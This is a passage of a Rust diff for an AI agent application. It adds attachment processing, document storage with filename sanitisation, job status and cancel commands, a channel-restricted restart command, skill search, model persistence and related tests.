rt_config.cron_check_interval_secs, @@ -475,6 +556,20 @@ impl Agent { } }; + // Apply transcription middleware to audio attachments + let mut message = message; + if let Some(ref transcription) = self.deps.transcription { + transcription.process(&mut message).await; + } + + // Apply document extraction middleware to document attachments + if let Some(ref doc_extraction) = self.deps.document_extraction { + doc_extraction.process(&mut message).await; + } + + // Store successfully extracted document text in workspace for indexing + self.store_extracted_documents(&message).await; + match self.handle_message(&message).await { Ok(Some(response)) if !response.is_empty() => { // Hook: BeforeOutbound — allow hooks to modify or suppress outbound @@ -491,21 +586,41 @@ impl Agent { Ok(crate::hooks::HookOutcome::Continue { modified: Some(new_content), }) => { - let _ = self + if let Err(e) = self .channels .respond(&message, OutgoingResponse::text(new_content)) - .await; + .await + { + tracing::error!( + channel = %message.channel, + error = %e, + "Failed to send response to channel" + ); + } } _ => { - let _ = self + if let Err(e) = self .channels .respond(&message, OutgoingResponse::text(response)) - .await; + .await + { + tracing::error!( + channel = %message.channel, + error = %e, + "Failed to send response to channel" + ); + } } } } - Ok(Some(_)) => { + Ok(Some(empty)) => { // Empty response, nothing to send (e.g. approval handled via send_status) + tracing::debug!( + channel = %message.channel, + user = %message.user_id, + empty_len = empty.len(), + "Suppressed empty response (not sent to channel)" + ); } Ok(None) => { // Shutdown signal received (/quit, /exit, /shutdown) @@ -514,10 +629,17 @@ impl Agent { } Err(e) => { tracing::error!("Error handling message: {}", e); - let _ = self + if let Err(send_err) = self .channels .respond(&message, OutgoingResponse::text(format!("Error: {}", e))) - .await; + .await + { + tracing::error!( + channel = %message.channel, + error = %send_err, + "Failed to send error response to channel" + ); + } } } @@ -546,9 +668,93 @@ impl Agent { Ok(()) } + /// Store extracted document text in workspace memory for future search/recall. + async fn store_extracted_documents(&self, message: &IncomingMessage) { + let workspace = match self.workspace() { + Some(ws) => ws, + None => return, + }; + + for attachment in &message.attachments { + if attachment.kind != crate::channels::AttachmentKind::Document { + continue; + } + let text = match &attachment.extracted_text { + Some(t) if !t.starts_with('[') => t, // skip error messages like "[Failed to..." + _ => continue, + }; + + // Sanitize filename: strip path separators to prevent directory traversal + let raw_name = attachment.filename.as_deref().unwrap_or("unnamed_document"); + let filename: String = raw_name + .chars() + .map(|c| { + if c == '/' || c == '\\' || c == '\0' { + '_' + } else { + c + } + }) + .collect(); + let filename = filename.trim_start_matches('.'); + let filename = if filename.is_empty() { + "unnamed_document" + } else { + filename + }; + let date = chrono::Utc::now().format("%Y-%m-%d"); + let path = format!("documents/{date}/{filename}"); + + let header = format!( + "# {filename}\n\n\ + > Uploaded by **{}** via **{}** on {date}\n\ + > MIME: {} | Size: {} bytes\n\n---\n\n", + message.user_id, + message.channel, + attachment.mime_type, + attachment.size_bytes.unwrap_or(0), + ); + let content = format!("{header}{text}"); + + match workspace.write(&path, &content).await { + Ok(_) => { + tracing::info!( + path = %path, + text_len = text.len(), + "Stored extracted document in workspace memory" + ); + } + Err(e) => { + tracing::warn!( + path = %path, + error = %e, + "Failed to store extracted document in workspace" + ); + } + } + } + } + async fn handle_message(&self, message: &IncomingMessage) -> Result, Error> { + // Set message tool context for this turn (current channel and target) + // For Signal, use signal_target from metadata (group:ID or phone number), + // otherwise fall back to user_id + let target = message + .metadata + .get("signal_target") + .and_then(|v| v.as_str()) + .map(|s| s.to_string()) + .unwrap_or_else(|| message.user_id.clone()); + self.tools() + .set_message_tool_context(Some(message.channel.clone()), Some(target)) + .await; + // Parse submission type first let mut submission = SubmissionParser::parse(&message.content); + tracing::debug!( + "[agent_loop] Parsed submission: {:?}", + std::any::type_name_of_val(&submission) + ); // Hook: BeforeInbound — allow hooks to modify or reject user input if let Submission::UserInput { ref content } = submission { @@ -633,7 +839,14 @@ impl Agent { .await } Submission::SystemCommand { command, args } => { - self.handle_system_command(&command, &args).await + tracing::debug!( + "[agent_loop] SystemCommand: command={}, channel={}", + command, + message.channel + ); + // Authorization checks (including restart channel check) are enforced in handle_system_command + self.handle_system_command(&command, &args, &message.channel) + .await } Submission::Undo => self.process_undo(session, thread_id).await, Submission::Redo => self.process_redo(session, thread_id).await, @@ -644,6 +857,13 @@ impl Agent { Submission::Heartbeat => self.process_heartbeat().await, Submission::Summarize => self.process_summarize(session, thread_id).await, Submission::Suggest => self.process_suggest(session, thread_id).await, + Submission::JobStatus { job_id } => { + self.process_job_status(&message.user_id, job_id.as_deref()) + .await + } + Submission::JobCancel { job_id } => { + self.process_job_cancel(&message.user_id, &job_id).await + } Submission::Quit => return Ok(None), Submission::SwitchThread { thread_id: target } => { self.process_switch_thread(message, target).await @@ -674,7 +894,15 @@ impl Agent { // Convert SubmissionResult to response string match result? { - SubmissionResult::Response { content } => Ok(Some(content)), + SubmissionResult::Response { content } => { + // Suppress silent replies (e.g. from group chat "nothing to say" responses) + if crate::llm::is_silent_reply(&content) { + tracing::debug!("Suppressing silent reply token"); + Ok(None) + } else { + Ok(Some(content)) + } + } SubmissionResult::Ok { message } => Ok(message), SubmissionResult::Error { message } => Ok(Some(format!("Error: {}", message))), SubmissionResult::Interrupted => Ok(Some("Interrupted.".into())), diff --git a/src/agent/attachments.rs b/src/agent/attachments.rs new file mode 100644 index 00000000..cb522912 --- /dev/null +++ b/src/agent/attachments.rs @@ -0,0 +1,307 @@ +//! Augment user message content with structured attachment context. + +use base64::Engine; + +use crate::channels::{AttachmentKind, IncomingAttachment}; +use crate::llm::{ContentPart, ImageUrl}; + +/// Result of processing attachments for the LLM pipeline. +pub struct AugmentResult { + /// Augmented text content with attachment metadata appended. + pub text: String, + /// Image content parts to include as multimodal input. + pub image_parts: Vec, +} + +/// Process attachments into augmented text and multimodal image parts. +/// +/// Returns `None` if `attachments` is empty (caller should use original content). +/// Returns `Some(AugmentResult)` with: +/// - `text`: original content + `` block (metadata, transcripts, etc.) +/// - `image_parts`: `ContentPart::ImageUrl` entries for images with data +pub fn augment_with_attachments( + content: &str, + attachments: &[IncomingAttachment], +) -> Option { + if attachments.is_empty() { + return None; + } + + let mut text = content.to_string(); + text.push_str("\n\n"); + + let mut image_parts = Vec::new(); + + for (i, att) in attachments.iter().enumerate() { + text.push('\n'); + text.push_str(&format_attachment(i + 1, att)); + + // Build multimodal image part when image data is available + if att.kind == AttachmentKind::Image && !att.data.is_empty() { + let b64 = base64::engine::general_purpose::STANDARD.encode(&att.data); + let data_url = format!("data:{};base64,{}", att.mime_type, b64); + image_parts.push(ContentPart::ImageUrl { + image_url: ImageUrl { + url: data_url, + detail: None, + }, + }); + } + } + + text.push_str("\n"); + Some(AugmentResult { text, image_parts }) +} + +/// Escape a string for use as an XML attribute value. +fn escape_xml_attr(s: &str) -> String { + s.replace('&', "&") + .replace('"', """) + .replace('<', "<") + .replace('>', ">") +} + +/// Escape a string for use as XML text content. +fn escape_xml_text(s: &str) -> String { + s.replace('&', "&") + .replace('<', "<") + .replace('>', ">") +} + +fn format_attachment(index: usize, att: &IncomingAttachment) -> String { + let filename = escape_xml_attr(att.filename.as_deref().unwrap_or("unknown")); + let mime = escape_xml_attr(&att.mime_type); + + match &att.kind { + AttachmentKind::Audio => { + let duration_attr = att + .duration_secs + .map(|d| format!(" duration=\"{d}s\"")) + .unwrap_or_default(); + + let body = match &att.extracted_text { + Some(text) => format!("Transcript: {}", escape_xml_text(text)), + None => "Audio transcript unavailable.".to_string(), + }; + + format!( + "\n\ + {body}\n\ + " + ) + } + AttachmentKind::Image => { + let size_attr = att + .size_bytes + .map(|s| format!(" size=\"{}\"", format_size(s))) + .unwrap_or_default(); + + let body = if att.data.is_empty() { + "[Image attached — visual content not available in this conversation]" + } else { + "[Image attached — sent as visual content]" + }; + + format!( + "\n\ + {body}\n\ + " + ) + } + AttachmentKind::Document => { + let body: String = match &att.extracted_text { + Some(text) => escape_xml_text(text), + None => { + let size_info = att + .size_bytes + .map(|s| format!(" size=\"{}\"", format_size(s))) + .unwrap_or_default(); + return format!( + "\n\ + [Document attached — text extraction unavailable]\n\ + " + ); + } + }; + + let size_attr = att + .size_bytes + .map(|s| format!(" size=\"{}\"", format_size(s))) + .unwrap_or_default(); + + format!( + "\n\ + {body}\n\ + " + ) + } + } +} + +fn format_size(bytes: u64) -> String { + if bytes < 1024 { + format!("{bytes}B") + } else if bytes < 1024 * 1024 { + format!("{}KB", bytes / 1024) + } else { + format!("{:.1}MB", bytes as f64 / (1024.0 * 1024.0)) + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn make_attachment(kind: AttachmentKind) -> IncomingAttachment { + IncomingAttachment { + id: "test-id".to_string(), + kind, + mime_type: "application/octet-stream".to_string(), + filename: None, + size_bytes: None, + source_url: None, + storage_key: None, + extracted_text: None, + data: vec![], + duration_secs: None, + } + } + + #[test] + fn empty_attachments_returns_none() { + assert!(augment_with_attachments("hello", &[]).is_none()); + } + + #[test] + fn audio_with_transcript() { + let mut att = make_attachment(AttachmentKind::Audio); + att.filename = Some("voice.ogg".to_string()); + att.extracted_text = Some("Hello, can you help me?".to_string()); + att.duration_secs = Some(5); + + let result = augment_with_attachments("hi", &[att]).unwrap(); + assert!(result.text.starts_with("hi\n\n")); + assert!(result.text.contains("type=\"audio\"")); + assert!(result.text.contains("filename=\"voice.ogg\"")); + assert!(result.text.contains("duration=\"5s\"")); + assert!(result.text.contains("Transcript: Hello, can you help me?")); + assert!(result.text.ends_with("")); + assert!(result.image_parts.is_empty()); + } + + #[test] + fn audio_without_transcript() { + let mut att = make_attachment(AttachmentKind::Audio); + att.filename = Some("voice.ogg".to_string()); + att.duration_secs = Some(10); + + let result = augment_with_attachments("hi", &[att]).unwrap(); + assert!(result.text.contains("Audio transcript unavailable.")); + assert!(result.text.contains("duration=\"10s\"")); + } + + #[test] + fn image_without_data_no_visual() { + let mut att = make_attachment(AttachmentKind::Image); + att.filename = Some("screenshot.png".to_string()); + att.mime_type = "image/png".to_string(); + att.size_bytes = Some(245_000); + + let result = augment_with_attachments("check this", &[att]).unwrap(); + assert!(result.text.contains("type=\"image\"")); + assert!(result.text.contains("filename=\"screenshot.png\"")); + assert!(result.text.contains("mime=\"image/png\"")); + assert!(result.text.contains("size=\"239KB\"")); + assert!( + result + .text + .contains("[Image attached — visual content not available in this conversation]") + ); + assert!(result.image_parts.is_empty()); + } + + #[test] + fn image_with_data_produces_content_part() { + let mut att = make_attachment(AttachmentKind::Image); + att.filename = Some("photo.jpg".to_string()); + att.mime_type = "image/jpeg".to_string(); + att.data = vec![0xFF, 0xD8, 0xFF]; // fake JPEG header + + let result = augment_with_attachments("look", &[att]).unwrap(); + assert!( + result + .text + .contains("[Image attached — sent as visual content]") + ); + assert_eq!(result.image_parts.len(), 1); + match &result.image_parts[0] { + ContentPart::ImageUrl { image_url } => { + assert!(image_url.url.starts_with("data:image/jpeg;base64,")); + } + other => panic!("Expected ImageUrl, got: {:?}", other), + } + } + + #[test] + fn document_with_extracted_text() { + let mut att = make_attachment(AttachmentKind::Document); + att.filename = Some("report.pdf".to_string()); + att.extracted_text = Some("Executive summary: Q3 results".to_string()); + + let result = augment_with_attachments("review", &[att]).unwrap(); + assert!(result.text.contains("type=\"document\"")); + assert!(result.text.contains("filename=\"report.pdf\"")); + assert!(result.text.contains("Executive summary: Q3 results")); + } + + #[test] + fn document_without_extracted_text() { + let mut att = make_attachment(AttachmentKind::Document); + att.filename = Some("data.csv".to_string()); + att.mime_type = "text/csv".to_string(); + att.size_bytes = Some(1024); + + let result = augment_with_attachments("analyze", &[att]).unwrap(); + assert!(result.text.contains("type=\"document\"")); + assert!(result.text.contains("mime=\"text/csv\"")); + assert!( + result + .text + .contains("[Document attached — text extraction unavailable]") + ); + } + + #[test] + fn multiple_attachments_with_mixed_images() { + let mut audio = make_attachment(AttachmentKind::Audio); + audio.filename = Some("voice.ogg".to_string()); + audio.extracted_text = Some("Hello".to_string()); + + let mut image_with_data = make_attachment(AttachmentKind::Image); + image_with_data.filename = Some("photo.jpg".to_string()); + image_with_data.mime_type = "image/jpeg".to_string(); + image_with_data.data = vec![0xFF, 0xD8]; + + let mut image_no_data = make_attachment(AttachmentKind::Image); + image_no_data.filename = Some("remote.png".to_string()); + image_no_data.mime_type = "image/png".to_string(); + + let result = + augment_with_attachments("msg", &[audio, image_with_data, image_no_data]).unwrap(); + assert!(result.text.contains("index=\"1\"")); + assert!(result.text.contains("index=\"2\"")); + assert!(result.text.contains("index=\"3\"")); + // Only the image with data produces a content part + assert_eq!(result.image_parts.len(), 1); + } + + #[test] + fn original_content_preserved() { + let original = "Please help me with this task"; + let mut att = make_attachment(AttachmentKind::Audio); + att.extracted_text = Some("transcript".to_string()); + + let result = augment_with_attachments(original, &[att]).unwrap(); + assert!(result.text.starts_with(original)); + } +} diff --git a/src/agent/commands.rs b/src/agent/commands.rs index 365e0ad5..2c5b96e5 100644 --- a/src/agent/commands.rs +++ b/src/agent/commands.rs @@ -12,8 +12,20 @@ use crate::agent::session::Session; use crate::agent::submission::SubmissionResult; use crate::agent::{Agent, MessageIntent}; use crate::channels::{IncomingMessage, StatusUpdate}; +use crate::context::JobState; use crate::error::Error; -use crate::llm::ChatMessage; +use crate::llm::{ChatMessage, Reasoning}; + +/// Format a count with a suffix, using K/M abbreviations for large numbers. +fn format_count(n: u64, suffix: &str) -> String { + if n >= 1_000_000 { + format!("{:.1}M {}", n as f64 / 1_000_000.0, suffix) + } else if n >= 1_000 { + format!("{:.1}K {}", n as f64 / 1_000.0, suffix) + } else { + format!("{} {}", n, suffix) + } +} impl Agent { /// Handle job-related intents without turn tracking. @@ -56,7 +68,10 @@ impl Agent { self.handle_help_job(&message.user_id, &job_id).await? } MessageIntent::Command { command, args } => { - match self.handle_command(&command, &args).await? { + match self + .handle_command(&command, &args, &message.channel) + .await? + { Some(s) => s, None => return Ok(SubmissionResult::Ok { message: None }), // Shutdown signal } @@ -73,36 +88,23 @@ impl Agent { description: String, category: Option, ) -> Result { - // Create job context let job_id = self - .context_manager - .create_job_for_user(user_id, &title, &description) + .scheduler + .dispatch_job(user_id, &title, &description, None) .await?; - // Update category if provided - if let Some(cat) = category { - self.context_manager + // Set the dedicated category field (not stored in metadata) + if let Some(cat) = category + && let Err(e) = self + .context_manager .update_context(job_id, |ctx| { ctx.category = Some(cat); }) - .await?; - } - - // Persist new job to database (fire-and-forget) - if let Some(store) = self.store() - && let Ok(ctx) = self.context_manager.get_context(job_id).await + .await { - let store = store.clone(); - tokio::spawn(async move { - if let Err(e) = store.save_job(&ctx).await { - tracing::warn!("Failed to persist new job {}: {}", job_id, e); - } - }); + tracing::warn!(job_id = %job_id, "Failed to set job category: {}", e); } - // Schedule for execution - self.scheduler.schedule(job_id).await?; - Ok(format!( "Created job: {}\nID: {}\n\nThe job has been scheduled and is now running.", title, job_id @@ -119,6 +121,22 @@ impl Agent { let uuid = Uuid::parse_str(&id) .map_err(|_| crate::error::JobError::NotFound { id: Uuid::nil() })?; + // Try DB first for persistent state, fall back to ContextManager. + if let Some(store) = self.store() + && let Ok(Some(ctx)) = store.get_job(uuid).await + { + return Ok(format!( + "Job: {}\nStatus: {:?}\nCreated: {}\nStarted: {}\nActual cost: {}", + ctx.title, + ctx.state, + ctx.created_at.format("%Y-%m-%d %H:%M:%S"), + ctx.started_at + .map(|t| t.format("%Y-%m-%d %H:%M:%S").to_string()) + .unwrap_or_else(|| "Not started".to_string()), + ctx.actual_cost + )); + } + let ctx = self.context_manager.get_context(uuid).await?; if ctx.user_id != user_id { return Err(crate::error::JobError::NotFound { id: uuid }.into()); @@ -136,10 +154,38 @@ impl Agent { )) } None => { - // Show summary of all jobs + // Show summary from DB for consistency with Jobs tab. + if let Some(store) = self.store() { + let mut total = 0; + let mut in_progress = 0; + let mut completed = 0; + let mut failed = 0; + let mut stuck = 0; + + if let Ok(s) = store.agent_job_summary().await { + total += s.total; + in_progress += s.in_progress; + completed += s.completed; + failed += s.failed; + stuck += s.stuck; + } + if let Ok(s) = store.sandbox_job_summary().await { + total += s.total; + in_progress += s.running; + completed += s.completed; + failed += s.failed + s.interrupted; + } + + return Ok(format!( + "Jobs summary: Total: {} In Progress: {} Completed: {} Failed: {} Stuck: {}", + total, in_progress, completed, failed, stuck + )); + } + + // Fallback to ContextManager if no DB. let summary = self.context_manager.summary_for(user_id).await; Ok(format!( - "Jobs summary:\n Total: {}\n In Progress: {}\n Completed: {}\n Failed: {}\n Stuck: {}", + "Jobs summary: Total: {} In Progress: {} Completed: {} Failed: {} Stuck: {}", summary.total, summary.in_progress, summary.completed, @@ -161,6 +207,15 @@ impl Agent { self.scheduler.stop(uuid).await?; + // Also update DB so the Jobs tab reflects cancellation immediately. + if let Some(store) = self.store() + && let Err(e) = store + .update_job_status(uuid, JobState::Cancelled, Some("Cancelled by user")) + .await + { + tracing::warn!(job_id = %uuid, "Failed to persist cancellation to DB: {}", e); + } + Ok(format!("Job {} has been cancelled.", job_id)) } @@ -169,21 +224,49 @@ impl Agent { user_id: &str, _filter: Option, ) -> Result { - let jobs = self.context_manager.all_jobs_for(user_id).await; + // List from DB for consistency with Jobs tab. + if let Some(store) = self.store() { + let agent_jobs = match store.list_agent_jobs().await { + Ok(jobs) => jobs, + Err(e) => { + tracing::warn!("Failed to list agent jobs: {}", e); + Vec::new() + } + }; + let sandbox_jobs = match store.list_sandbox_jobs().await { + Ok(jobs) => jobs, + Err(e) => { + tracing::warn!("Failed to list sandbox jobs: {}", e); + Vec::new() + } + }; + if agent_jobs.is_empty() && sandbox_jobs.is_empty() { + return Ok("No jobs found.".to_string()); + } + + let mut output = String::from("Jobs:\n"); + for j in &agent_jobs { + output.push_str(&format!(" {} - {} ({})\n", j.id, j.title, j.status)); + } + for j in &sandbox_jobs { + output.push_str(&format!(" {} - {} ({})\n", j.id, j.task, j.status)); + } + return Ok(output); + } + + // Fallback to ContextManager if no DB. + let jobs = self.context_manager.all_jobs_for(user_id).await; if jobs.is_empty() { return Ok("No jobs found.".to_string()); } let mut output = String::from("Jobs:\n"); for job_id in jobs { - if let Ok(ctx) = self.context_manager.get_context(job_id).await - && ctx.user_id == user_id - { + if let Ok(ctx) = self.context_manager.get_context(job_id).await { output.push_str(&format!(" {} - {} ({:?})\n", job_id, ctx.title, ctx.state)); } } - Ok(output) } @@ -222,6 +305,33 @@ impl Agent { } } + /// Show job status inline — either all jobs (no id) or a specific job. + pub(super) async fn process_job_status( + &self, + user_id: &str, + job_id: Option<&str>, + ) -> Result { + match self + .handle_check_status(user_id, job_id.map(|s| s.to_string())) + .await + { + Ok(text) => Ok(SubmissionResult::response(text)), + Err(e) => Ok(SubmissionResult::error(format!("Job status error: {}", e))), + } + } + + /// Cancel a job by ID. + pub(super) async fn process_job_cancel( + &self, + user_id: &str, + job_id: &str, + ) -> Result { + match self.handle_cancel_job(user_id, job_id).await { + Ok(text) => Ok(SubmissionResult::response(text)), + Err(e) => Ok(SubmissionResult::error(format!("Cancel error: {}", e))), + } + } + /// Trigger a manual heartbeat check. pub(super) async fn process_heartbeat(&self) -> Result { let Some(workspace) = self.workspace() else { @@ -232,6 +342,7 @@ impl Agent { let runner = crate::agent::HeartbeatRunner::new( crate::agent::HeartbeatConfig::default(), + crate::workspace::hygiene::HygieneConfig::default(), workspace.clone(), self.llm().clone(), ); @@ -294,10 +405,11 @@ impl Agent { .with_max_tokens(512) .with_temperature(0.3); - match self.llm().complete(request).await { - Ok(response) => Ok(SubmissionResult::response(format!( + let reasoning = Reasoning::new(self.llm().clone()); + match reasoning.complete(request).await { + Ok((text, _usage)) => Ok(SubmissionResult::response(format!( "Thread Summary:\n\n{}", - response.content.trim() + text.trim() ))), Err(e) => Ok(SubmissionResult::error(format!("Summarize failed: {}", e))), } @@ -341,10 +453,11 @@ impl Agent { .with_max_tokens(512) .with_temperature(0.5); - match self.llm().complete(request).await { - Ok(response) => Ok(SubmissionResult::response(format!( + let reasoning = Reasoning::new(self.llm().clone()); + match reasoning.complete(request).await { + Ok((text, _usage)) => Ok(SubmissionResult::response(format!( "Suggested Next Steps:\n\n{}", - response.content.trim() + text.trim() ))), Err(e) => Ok(SubmissionResult::error(format!("Suggest failed: {}", e))), } @@ -355,6 +468,7 @@ impl Agent { &self, command: &str, args: &[String], + channel: &str, ) -> Result { match command { "help" => Ok(SubmissionResult::response(concat!( @@ -382,16 +496,83 @@ impl Agent { " /thread Switch to thread\n", " /resume Resume from checkpoint\n", "\n", + "Skills:\n", + " /skills List installed skills\n", + " /skills search Search ClawHub registry\n", + "\n", "Agent:\n", " /heartbeat Run heartbeat check\n", " /summarize Summarize current thread\n", " /suggest Suggest next steps\n", + " /restart Gracefully restart the process\n", "\n", " /quit Exit", ))), "ping" => Ok(SubmissionResult::response("pong!")), + "restart" => { + tracing::info!("[commands::restart] Restart command received"); + // Channel authorization check: restart is only available via web interface + if channel != "gateway" { + tracing::warn!( + "[commands::restart] Restart rejected: not from gateway channel (from: {})", + channel + ); + return Ok(SubmissionResult::error( + "Restart is only available through the web interface with explicit user confirmation. \ + Use the Restart button in the UI." + .to_string(), + )); + } + // Environment check: restart is only available in Docker containers + let in_docker = std::env::var("IRONCLAW_IN_DOCKER") + .map(|v| v.to_lowercase() == "true") + .unwrap_or(false); + + tracing::debug!("[commands::restart] IRONCLAW_IN_DOCKER={}", in_docker); + + if !in_docker { + tracing::warn!( + "[commands::restart] Restart rejected: not in Docker environment" + ); + return Ok(SubmissionResult::error( + "Restart is not available in this environment. \ + The IRONCLAW_IN_DOCKER environment variable must be set to 'true' for Docker deployments." + .to_string(), + )); + } + + // Execute restart tool directly (don't dispatch as a job for LLM planning) + // This ensures the tool runs immediately without LLM involvement + use crate::tools::Tool; + let tool = crate::tools::builtin::RestartTool; + let params = serde_json::json!({}); + + // Create a minimal JobContext for the tool + let dummy_ctx = + crate::context::JobContext::with_user("system", "Restart", "Graceful restart"); + + match tool.execute(params, &dummy_ctx).await { + Ok(output) => { + tracing::info!("[commands::restart] RestartTool executed successfully"); + // Extract text from the ToolOutput result + let response = match output.result { + serde_json::Value::String(s) => s, + _ => output.result.to_string(), + }; + Ok(SubmissionResult::response(response)) + } + Err(e) => { + tracing::error!( + "[commands::restart] RestartTool execution failed: {:?}", + e + ); + Ok(SubmissionResult::error(format!("Restart failed: {}", e))) + } + } + } + "version" => Ok(SubmissionResult::response(format!( "{} v{}", env!("CARGO_PKG_NAME"), @@ -414,6 +595,22 @@ impl Agent { )) } + "skills" => { + if args.first().map(|s| s.as_str()) == Some("search") { + let query = args[1..].join(" "); + if query.is_empty() { + return Ok(SubmissionResult::error("Usage: /skills search ")); + } + self.handle_skills_search(&query).await + } else if args.is_empty() { + self.handle_skills_list().await + } else { + Ok(SubmissionResult::error( + "Usage: /skills or /skills search ", + )) + } + } + "model" => { let current = self.llm().active_model_name(); @@ -465,10 +662,14 @@ impl Agent { } match self.llm().set_model(requested) { - Ok(()) => Ok(SubmissionResult::response(format!( - "Switched model to: {}", - requested - ))), + Ok(()) => { + // Persist the model choice so it survives restarts. + self.persist_selected_model(requested).await; + Ok(SubmissionResult::response(format!( + "Switched model to: {}", + requested + ))) + } Err(e) => Ok(SubmissionResult::error(format!( "Failed to switch model: {}", e @@ -484,20 +685,182 @@ impl Agent { } } + /// List installed skills. + async fn handle_skills_list(&self) -> Result { + let Some(registry) = self.skill_registry() else { + return Ok(SubmissionResult::error("Skills system not enabled.")); + }; + + let guard = match registry.read() { + Ok(g) => g, + Err(e) => { + return Ok(SubmissionResult::error(format!( + "Skill registry lock error: {}", + e + ))); + } + }; + + let skills = guard.skills(); + if skills.is_empty() { + return Ok(SubmissionResult::response( + "No skills installed.\n\nUse /skills search to find skills on ClawHub.", + )); + } + + let mut out = String::from("Installed skills:\n\n"); + for s in skills { + let desc = if s.manifest.description.chars().count() > 60 { + let truncated: String = s.manifest.description.chars().take(57).collect(); + format!("{}...", truncated) + } else { + s.manifest.description.clone() + }; + out.push_str(&format!( + " {:<24} v{:<10} [{}] {}\n", + s.manifest.name, s.manifest.version, s.trust, desc, + )); + } + out.push_str("\nUse /skills search to find more on ClawHub."); + + Ok(SubmissionResult::response(out)) + } + + /// Search ClawHub for skills. + async fn handle_skills_search(&self, query: &str) -> Result { + let catalog = match self.skill_catalog() { + Some(c) => c, + None => { + return Ok(SubmissionResult::error("Skill catalog not available.")); + } + }; + + let outcome = catalog.search(query).await; + + // Enrich top results with detail data (stars, downloads, owner) + let mut entries = outcome.results; + catalog.enrich_search_results(&mut entries, 5).await; + + let mut out = format!("ClawHub results for \"{}\":\n\n", query); + + if entries.is_empty() { + if let Some(ref err) = outcome.error { + out.push_str(&format!(" (registry error: {})\n", err)); + } else { + out.push_str(" No results found.\n"); + } + } else { + for entry in &entries { + let owner_str = entry + .owner + .as_deref() + .map(|o| format!(" by {}", o)) + .unwrap_or_default(); + + let stats_parts: Vec = [ + entry.stars.map(|s| format!("{} stars", s)), + entry.downloads.map(|d| format_count(d, "downloads")), + ] + .into_iter() + .flatten() + .collect(); + let stats_str = if stats_parts.is_empty() { + String::new() + } else { + format!(" {}", stats_parts.join(" ")) + }; + + out.push_str(&format!( + " {:<24} v{:<10}{}{}\n", + entry.name, entry.version, owner_str, stats_str, + )); + if !entry.description.is_empty() { + out.push_str(&format!(" {}\n\n", entry.description)); + } + } + } + + // Show matching installed skills + if let Some(registry) = self.skill_registry() + && let Ok(guard) = registry.read() + { + let query_lower = query.to_lowercase(); + let matches: Vec<_> = guard + .skills() + .iter() + .filter(|s| { + s.manifest.name.to_lowercase().contains(&query_lower) + || s.manifest.description.to_lowercase().contains(&query_lower) + }) + .collect(); + + if !matches.is_empty() { + out.push_str(&format!("Installed skills matching \"{}\":\n", query)); + for s in &matches { + out.push_str(&format!( + " {:<24} v{:<10} [{}]\n", + s.manifest.name, s.manifest.version, s.trust, + )); + } + } + } + + Ok(SubmissionResult::response(out)) + } + /// Handle legacy command routing from the Router (job commands that go through /// process_user_input -> router -> handle_job_or_command -> here). pub(super) async fn handle_command( &self, command: &str, args: &[String], + channel: &str, ) -> Result, Error> { // System commands are now handled directly via Submission::SystemCommand, // but the router may still send us unknown /commands. - match self.handle_system_command(command, args).await? { + match self.handle_system_command(command, args, channel).await? { SubmissionResult::Response { content } => Ok(Some(content)), SubmissionResult::Ok { message } => Ok(message), SubmissionResult::Error { message } => Ok(Some(format!("Error: {}", message))), _ => Ok(None), } } + + /// Persist the selected model to the settings store (DB and/or TOML config). + /// + /// Best-effort: logs warnings on failure but does not propagate errors, + /// since the in-memory model switch already succeeded. + async fn persist_selected_model(&self, model: &str) { + // 1. Persist to DB if available. + if let Some(store) = self.store() { + let value = serde_json::Value::String(model.to_string()); + if let Err(e) = store.set_setting("default", "selected_model", &value).await { + tracing::warn!("Failed to persist model to DB: {}", e); + } + } + + // 2. Update TOML config file if it exists (sync I/O in spawn_blocking). + let model_owned = model.to_string(); + if let Err(e) = tokio::task::spawn_blocking(move || { + let toml_path = crate::settings::Settings::default_toml_path(); + match crate::settings::Settings::load_toml(&toml_path) { + Ok(Some(mut settings)) => { + settings.selected_model = Some(model_owned); + if let Err(e) = settings.save_toml(&toml_path) { + tracing::warn!("Failed to persist model to config.toml: {}", e); + } + } + Ok(None) => { + // No config file on disk; nothing to update. + } + Err(e) => { + tracing::warn!("Failed to load config.toml for model persistence: {}", e); + } + } + }) + .await + { + tracing::warn!("Model TOML persistence task failed: {}", e); + } + } } diff --git a/src/agent/compaction.rs b/src/agent/compaction.rs index 22b0ea6a..46980c79 100644 --- a/src/agent/compaction.rs +++ b/src/agent/compaction.rs @@ -12,7 +12,7 @@ use chrono::Utc; use crate::agent::context_monitor::{CompactionStrategy, ContextBreakdown}; use crate::agent::session::Thread; use crate::error::Error; -use crate::llm::{ChatMessage, CompletionRequest, LlmProvider}; +use crate::llm::{ChatMessage, CompletionRequest, LlmProvider, Reasoning}; use crate::workspace::Workspace; /// Result of a compaction operation. @@ -105,7 +105,16 @@ impl ContextCompactor { // Write to workspace if available let summary_written = if let Some(ws) = workspace { - self.write_summary_to_workspace(ws, &summary).await.is_ok() + match self.write_summary_to_workspace(ws, &summary).await { + Ok(()) => true, + Err(e) => { + tracing::warn!( + "Compaction summary write failed (turns will still be truncated): {}", + e + ); + false + } + } } else { false }; @@ -157,7 +166,16 @@ impl ContextCompactor { let content = format_turns_for_storage(old_turns); // Write to workspace - let written = self.write_context_to_workspace(ws, &content).await.is_ok(); + let written = match self.write_context_to_workspace(ws, &content).await { + Ok(()) => true, + Err(e) => { + tracing::warn!( + "Compaction context write failed (turns will still be truncated): {}", + e + ); + false + } + }; // Truncate thread.truncate_turns(keep_recent); @@ -213,8 +231,9 @@ Be brief but capture all important details. Use bullet points."#, .with_max_tokens(1024) .with_temperature(0.3); - let response = self.llm.complete(request).await?; - Ok(response.content) + let reasoning = Reasoning::new(self.llm.clone()); + let (text, _) = reasoning.complete(request).await?; + Ok(text) } /// Write a summary to the workspace daily log. @@ -321,4 +340,476 @@ mod tests { assert_eq!(partial.turns_removed, 0); assert!(!partial.summary_written); } + + // === QA Plan - Compaction strategy tests === + + use crate::agent::context_monitor::CompactionStrategy; + use crate::testing::StubLlm; + + /// Helper: build a `ContextCompactor` with the given `StubLlm`. + fn make_compactor(llm: Arc) -> ContextCompactor { + ContextCompactor::new(llm) + } + + /// Helper: build a thread with `n` completed turns. + /// Turn `i` has user_input "msg-{i}" and response "resp-{i}". + fn make_thread(n: usize) -> Thread { + let mut thread = Thread::new(Uuid::new_v4()); + for i in 0..n { + thread.start_turn(format!("msg-{}", i)); + thread.complete_turn(format!("resp-{}", i)); + } + thread + } + + // ------------------------------------------------------------------ + // 1. compact_truncate keeps last N turns + // ------------------------------------------------------------------ + + #[tokio::test] + async fn test_compact_truncate_keeps_last_n() { + let llm = Arc::new(StubLlm::new("unused")); + let compactor = make_compactor(llm); + let mut thread = 